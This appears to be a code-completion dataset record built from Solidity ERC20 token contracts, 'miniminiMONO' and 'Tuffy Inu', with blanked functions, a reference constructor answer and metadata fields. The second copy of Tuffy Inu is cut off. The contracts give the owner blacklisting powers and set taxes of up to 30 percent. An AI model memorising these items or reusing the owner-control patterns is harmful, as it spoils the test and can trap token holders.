contract miniminiMONO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "miniminiMONO"; string private constant _symbol = "miniminiMONO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } <FILL_FUNCTION> function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 1; _feeAddr2 = 9; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2000000000* 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
_feeAddrWallet1 = payable(0xAB3B194d61F265308aC61989a6e856939831c63b); _feeAddrWallet2 = payable(0xAB3B194d61F265308aC61989a6e856939831c63b); _feeAddrWallet3 = payable(0xAB3B194d61F265308aC61989a6e856939831c63b); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal);
constructor ()
constructor ()
250
TuffyInu
_transfer
contract TuffyInu is Context, IERC20 { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _isExcludedFromLimits; mapping (address => bool) private _liquidityHolders; mapping (address => uint256) private firstBuy; uint256 constant private startingSupply = 1_000_000_000_000; string constant private _name = "Tuffy Inu"; string constant private _symbol = "TFI"; uint8 constant private _decimals = 9; uint256 constant private _tTotal = startingSupply * 10**_decimals; struct Fees { uint16 buyFee; uint16 sellFee; uint16 transferFee; uint16 antiDump; } struct Ratios { uint16 liquidity; uint16 marketing; uint16 total; } Fees public _taxRates = Fees({ buyFee: 1750, sellFee: 2400, transferFee: 0, antiDump: 3000 }); Ratios public _ratios = Ratios({ liquidity: 35, marketing: 380, total: 35+380 }); uint256 constant public maxBuyTaxes = 2500; uint256 constant public maxSellTaxes = 2500; uint256 constant public maxTransferTaxes = 2500; uint256 constant masterTaxDivisor = 10000; IRouter02 public dexRouter; address public lpPair; address constant public DEAD = 0x000000000000000000000000000000000000dEaD; struct TaxWallets { address payable marketing; address liquidity; } TaxWallets public _taxWallets = TaxWallets({ marketing: payable(0xeA283E387E2C67c67608b04f6BF7C7Ad318D5186), liquidity: 0x1cd7e2284F111876759690823a8cf50a3910b9d6 }); bool inSwap; bool public contractSwapEnabled = false; uint256 public contractSwapTimer = 10 seconds; uint256 private lastSwap; uint256 public swapThreshold = (_tTotal * 5) / 10000; uint256 public swapAmount = (_tTotal * 20) / 10000; uint256 private _maxTxAmount = (_tTotal * 5) / 1000; uint256 private _maxWalletSize = (_tTotal * 8) / 1000; bool public tradingEnabled = false; bool public _hasLiqBeenAdded = false; AntiSnipe antiSnipe; bool public antiDumpEnabled = true; uint256 antiDumpTime = 10 minutes; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event ContractSwapEnabledUpdated(bool enabled); event AutoLiquify(uint256 amountCurrency, uint256 amountTokens); modifier lockTheSwap { inSwap = true; _; inSwap = false; } modifier onlyOwner() { require(_owner == _msgSender(), "Caller =/= owner."); _; } constructor () payable { _tOwned[msg.sender] = _tTotal; // Set the owner. _owner = msg.sender; if (block.chainid == 56) { dexRouter = IRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E); contractSwapTimer = 3 seconds; } else if (block.chainid == 97) { dexRouter = IRouter02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); contractSwapTimer = 3 seconds; } else if (block.chainid == 1 || block.chainid == 4) { dexRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); contractSwapTimer = 10 seconds; } else { revert(); } lpPair = IFactoryV2(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; _approve(msg.sender, address(dexRouter), type(uint256).max); _approve(address(this), address(dexRouter), type(uint256).max); _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[DEAD] = true; _liquidityHolders[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } receive() external payable {} //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and renouncements. // This allows for removal of ownership privileges from the owner once renounced or transferred. function owner() public view returns (address) { return _owner; } function transferOwner(address newOwner) external onlyOwner() { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); setExcludedFromFees(_owner, false); setExcludedFromFees(newOwner, true); if(balanceOf(_owner) > 0) { _transfer(_owner, newOwner, balanceOf(_owner)); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner() { setExcludedFromFees(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== function totalSupply() external pure override returns (uint256) { if (_tTotal == 0) { revert(); } return _tTotal; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner(); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) private { require(sender != address(0), "ERC20: Zero Address"); require(spender != address(0), "ERC20: Zero Address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function approveContractContingency() public onlyOwner returns (bool) { _approve(address(this), address(dexRouter), type(uint256).max); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] -= amount; } return _transfer(sender, recipient, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function setNewRouter(address newRouter) public onlyOwner() { IRouter02 _newRouter = IRouter02(newRouter); address get_pair = IFactoryV2(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IFactoryV2(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter; _approve(address(this), address(dexRouter), type(uint256).max); } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; antiSnipe.setLpPair(pair, false); } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 3 days, "3 Day cooldown.!"); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; antiSnipe.setLpPair(pair, true); } } function setInitializer(address initializer) external onlyOwner { require(!_hasLiqBeenAdded, "Liquidity is already in."); require(initializer != address(this), "Can't be self."); antiSnipe = AntiSnipe(initializer); } function setBlacklistEnabled(address account, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabled(account, enabled); } function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabledMultiple(accounts, enabled); } function isBlacklisted(address account) public view returns (bool) { return antiSnipe.isBlacklisted(account); } function getSniperAmt() public view returns (uint256) { return antiSnipe.getSniperAmt(); } function removeSniper(address account) external onlyOwner { antiSnipe.removeSniper(account); } function setProtectionSettings(bool _antiSnipe, bool _antiBlock, bool _algo) external onlyOwner { antiSnipe.setProtections(_antiSnipe, _antiBlock, _algo); } function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner { require(buyFee <= maxBuyTaxes && sellFee <= maxSellTaxes && transferFee <= maxTransferTaxes, "Cannot exceed maximums."); _taxRates.buyFee = buyFee; _taxRates.sellFee = sellFee; _taxRates.transferFee = transferFee; } function setRatios(uint16 liquidity, uint16 marketing) external onlyOwner { _ratios.liquidity = liquidity; _ratios.marketing = marketing; _ratios.total = liquidity + marketing; } function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner { require((_tTotal * percent) / divisor >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply."); _maxTxAmount = (_tTotal * percent) / divisor; } function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner { require((_tTotal * percent) / divisor >= (_tTotal / 1000), "Max Wallet amt must be above 0.1% of total supply."); _maxWalletSize = (_tTotal * percent) / divisor; } function setExcludedFromLimits(address account, bool enabled) external onlyOwner { _isExcludedFromLimits[account] = enabled; } function isExcludedFromLimits(address account) public view returns (bool) { return _isExcludedFromLimits[account]; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setExcludedFromFees(address account, bool enabled) public onlyOwner { _isExcludedFromFees[account] = enabled; } function getMaxTX() public view returns (uint256) { return _maxTxAmount / (10**_decimals); } function getMaxWallet() public view returns (uint256) { return _maxWalletSize / (10**_decimals); } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor, uint256 time) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; contractSwapTimer = time; } function setWallets(address payable marketing) external onlyOwner { _taxWallets.marketing = payable(marketing); } function setLiquidityReceiver(address account) external onlyOwner { if (_taxWallets.liquidity == address(0) || _taxWallets.liquidity == DEAD) { revert("Auto Liq renounced."); } _taxWallets.liquidity = account; } function setContractSwapEnabled(bool enabled) external onlyOwner { contractSwapEnabled = enabled; emit ContractSwapEnabledUpdated(enabled); } function checkFirstBuy(address account) external view returns (uint256) { return firstBuy[account]; } function setAntiDumpEnabled(bool enabled) external onlyOwner { antiDumpEnabled = enabled; } function setAntiDumpSettings(uint256 time, uint16 tax) external onlyOwner { require(time <= 20 minutes, "Can't set above 20min."); require(tax <= 3000, "Can't set above 30%."); antiDumpTime = time; _taxRates.antiDump = tax; } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function _hasLimits(address from, address to) private view returns (bool) { return from != owner() && to != owner() && tx.origin != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function _transfer(address from, address to, uint256 amount) internal returns (bool) {<FILL_FUNCTION_BODY> } function contractSwap(uint256 contractTokenBalance) private lockTheSwap { Ratios memory ratios = _ratios; if (ratios.total == 0) { return; } if(_allowances[address(this)][address(dexRouter)] != type(uint256).max) { _allowances[address(this)][address(dexRouter)] = type(uint256).max; } uint256 toLiquify = ((contractTokenBalance * ratios.liquidity) / ratios.total) / 2; uint256 swapAmt = contractTokenBalance - toLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( swapAmt, 0, path, address(this), block.timestamp ); uint256 amtBalance = address(this).balance; uint256 liquidityBalance = (amtBalance * toLiquify) / swapAmt; if (toLiquify > 0) { dexRouter.addLiquidityETH{value: liquidityBalance}( address(this), toLiquify, 0, 0, _taxWallets.liquidity, block.timestamp ); emit AutoLiquify(liquidityBalance, toLiquify); } amtBalance -= liquidityBalance; ratios.total -= ratios.liquidity; uint256 marketingBalance = amtBalance; if (ratios.marketing > 0) { _taxWallets.marketing.transfer(marketingBalance); } } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { _liquidityHolders[from] = true; _hasLiqBeenAdded = true; if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } contractSwapEnabled = true; emit ContractSwapEnabledUpdated(true); } } function enableTrading() public onlyOwner { require(!tradingEnabled, "Trading already enabled!"); require(_hasLiqBeenAdded, "Liquidity must be added."); if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } try antiSnipe.setLaunch(lpPair, uint32(block.number), uint64(block.timestamp), _decimals) {} catch {} tradingEnabled = true; } function sweepContingency() external onlyOwner { require(!_hasLiqBeenAdded, "Cannot call after liquidity."); payable(owner()).transfer(address(this).balance); } function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external { require(accounts.length == amounts.length, "Lengths do not match."); for (uint8 i = 0; i < accounts.length; i++) { require(balanceOf(msg.sender) >= amounts[i]); _transfer(msg.sender, accounts[i], amounts[i]*10**_decimals); } } function multiSendPercents(address[] memory accounts, uint256[] memory percents, uint256[] memory divisors) external { require(accounts.length == percents.length && percents.length == divisors.length, "Lengths do not match."); for (uint8 i = 0; i < accounts.length; i++) { require(balanceOf(msg.sender) >= (_tTotal * percents[i]) / divisors[i]); _transfer(msg.sender, accounts[i], (_tTotal * percents[i]) / divisors[i]); } } function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) { if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } if (_hasLimits(from, to)) { bool checked; try antiSnipe.checkUser(from, to, amount) returns (bool check) { checked = check; } catch { revert(); } if(!checked) { revert(); } } _tOwned[from] -= amount; uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount; _tOwned[to] += amountReceived; emit Transfer(from, to, amountReceived); return true; } function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) { uint256 currentFee; if (lpPairs[from]) { currentFee = _taxRates.buyFee; } else if (lpPairs[to]) { if (firstBuy[from] == 0) { firstBuy[from] = block.timestamp; } if (firstBuy[from] + antiDumpTime > block.timestamp && antiDumpEnabled) { currentFee = _taxRates.antiDump; } else { currentFee = _taxRates.sellFee; } } else { currentFee = _taxRates.transferFee; } uint256 feeAmount = amount * currentFee / masterTaxDivisor; _tOwned[address(this)] += feeAmount; emit Transfer(from, address(this), feeAmount); return amount - feeAmount; } }
contract TuffyInu is Context, IERC20 { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _isExcludedFromLimits; mapping (address => bool) private _liquidityHolders; mapping (address => uint256) private firstBuy; uint256 constant private startingSupply = 1_000_000_000_000; string constant private _name = "Tuffy Inu"; string constant private _symbol = "TFI"; uint8 constant private _decimals = 9; uint256 constant private _tTotal = startingSupply * 10**_decimals; struct Fees { uint16 buyFee; uint16 sellFee; uint16 transferFee; uint16 antiDump; } struct Ratios { uint16 liquidity; uint16 marketing; uint16 total; } Fees public _taxRates = Fees({ buyFee: 1750, sellFee: 2400, transferFee: 0, antiDump: 3000 }); Ratios public _ratios = Ratios({ liquidity: 35, marketing: 380, total: 35+380 }); uint256 constant public maxBuyTaxes = 2500; uint256 constant public maxSellTaxes = 2500; uint256 constant public maxTransferTaxes = 2500; uint256 constant masterTaxDivisor = 10000; IRouter02 public dexRouter; address public lpPair; address constant public DEAD = 0x000000000000000000000000000000000000dEaD; struct TaxWallets { address payable marketing; address liquidity; } TaxWallets public _taxWallets = TaxWallets({ marketing: payable(0xeA283E387E2C67c67608b04f6BF7C7Ad318D5186), liquidity: 0x1cd7e2284F111876759690823a8cf50a3910b9d6 }); bool inSwap; bool public contractSwapEnabled = false; uint256 public contractSwapTimer = 10 seconds; uint256 private lastSwap; uint256 public swapThreshold = (_tTotal * 5) / 10000; uint256 public swapAmount = (_tTotal * 20) / 10000; uint256 private _maxTxAmount = (_tTotal * 5) / 1000; uint256 private _maxWalletSize = (_tTotal * 8) / 1000; bool public tradingEnabled = false; bool public _hasLiqBeenAdded = false; AntiSnipe antiSnipe; bool public antiDumpEnabled = true; uint256 antiDumpTime = 10 minutes; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event ContractSwapEnabledUpdated(bool enabled); event AutoLiquify(uint256 amountCurrency, uint256 amountTokens); modifier lockTheSwap { inSwap = true; _; inSwap = false; } modifier onlyOwner() { require(_owner == _msgSender(), "Caller =/= owner."); _; } constructor () payable { _tOwned[msg.sender] = _tTotal; // Set the owner. _owner = msg.sender; if (block.chainid == 56) { dexRouter = IRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E); contractSwapTimer = 3 seconds; } else if (block.chainid == 97) { dexRouter = IRouter02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); contractSwapTimer = 3 seconds; } else if (block.chainid == 1 || block.chainid == 4) { dexRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); contractSwapTimer = 10 seconds; } else { revert(); } lpPair = IFactoryV2(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; _approve(msg.sender, address(dexRouter), type(uint256).max); _approve(address(this), address(dexRouter), type(uint256).max); _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[DEAD] = true; _liquidityHolders[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } receive() external payable {} //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and renouncements. // This allows for removal of ownership privileges from the owner once renounced or transferred. function owner() public view returns (address) { return _owner; } function transferOwner(address newOwner) external onlyOwner() { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); setExcludedFromFees(_owner, false); setExcludedFromFees(newOwner, true); if(balanceOf(_owner) > 0) { _transfer(_owner, newOwner, balanceOf(_owner)); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner() { setExcludedFromFees(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== function totalSupply() external pure override returns (uint256) { if (_tTotal == 0) { revert(); } return _tTotal; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner(); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) private { require(sender != address(0), "ERC20: Zero Address"); require(spender != address(0), "ERC20: Zero Address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function approveContractContingency() public onlyOwner returns (bool) { _approve(address(this), address(dexRouter), type(uint256).max); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] -= amount; } return _transfer(sender, recipient, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function setNewRouter(address newRouter) public onlyOwner() { IRouter02 _newRouter = IRouter02(newRouter); address get_pair = IFactoryV2(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IFactoryV2(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter; _approve(address(this), address(dexRouter), type(uint256).max); } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; antiSnipe.setLpPair(pair, false); } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 3 days, "3 Day cooldown.!"); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; antiSnipe.setLpPair(pair, true); } } function setInitializer(address initializer) external onlyOwner { require(!_hasLiqBeenAdded, "Liquidity is already in."); require(initializer != address(this), "Can't be self."); antiSnipe = AntiSnipe(initializer); } function setBlacklistEnabled(address account, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabled(account, enabled); } function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabledMultiple(accounts, enabled); } function isBlacklisted(address account) public view returns (bool) { return antiSnipe.isBlacklisted(account); } function getSniperAmt() public view returns (uint256) { return antiSnipe.getSniperAmt(); } function removeSniper(address account) external onlyOwner { antiSnipe.removeSniper(account); } function setProtectionSettings(bool _antiSnipe, bool _antiBlock, bool _algo) external onlyOwner { antiSnipe.setProtections(_antiSnipe, _antiBlock, _algo); } function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner { require(buyFee <= maxBuyTaxes && sellFee <= maxSellTaxes && transferFee <= maxTransferTaxes, "Cannot exceed maximums."); _taxRates.buyFee = buyFee; _taxRates.sellFee = sellFee; _taxRates.transferFee = transferFee; } function setRatios(uint16 liquidity, uint16 marketing) external onlyOwner { _ratios.liquidity = liquidity; _ratios.marketing = marketing; _ratios.total = liquidity + marketing; } function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner { require((_tTotal * percent) / divisor >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply."); _maxTxAmount = (_tTotal * percent) / divisor; } function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner { require((_tTotal * percent) / divisor >= (_tTotal / 1000), "Max Wallet amt must be above 0.1% of total supply."); _maxWalletSize = (_tTotal * percent) / divisor; } function setExcludedFromLimits(address account, bool enabled) external onlyOwner { _isExcludedFromLimits[account] = enabled; } function isExcludedFromLimits(address account) public view returns (bool) { return _isExcludedFromLimits[account]; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setExcludedFromFees(address account, bool enabled) public onlyOwner { _isExcludedFromFees[account] = enabled; } function getMaxTX() public view returns (uint256) { return _maxTxAmount / (10**_decimals); } function getMaxWallet() public view returns (uint256) { return _maxWalletSize / (10**_decimals); } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor, uint256 time) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; contractSwapTimer = time; } function setWallets(address payable marketing) external onlyOwner { _taxWallets.marketing = payable(marketing); } function setLiquidityReceiver(address account) external onlyOwner { if (_taxWallets.liquidity == address(0) || _taxWallets.liquidity == DEAD) { revert("Auto Liq renounced."); } _taxWallets.liquidity = account; } function setContractSwapEnabled(bool enabled) external onlyOwner { contractSwapEnabled = enabled; emit ContractSwapEnabledUpdated(enabled); } function checkFirstBuy(address account) external view returns (uint256) { return firstBuy[account]; } function setAntiDumpEnabled(bool enabled) external onlyOwner { antiDumpEnabled = enabled; } function setAntiDumpSettings(uint256 time, uint16 tax) external onlyOwner { require(time <= 20 minutes, "Can't set above 20min."); require(tax <= 3000, "Can't set above 30%."); antiDumpTime = time; _taxRates.antiDump = tax; } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function _hasLimits(address from, address to) private view returns (bool) { return from != owner() && to != owner() && tx.origin != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } <FILL_FUNCTION> function contractSwap(uint256 contractTokenBalance) private lockTheSwap { Ratios memory ratios = _ratios; if 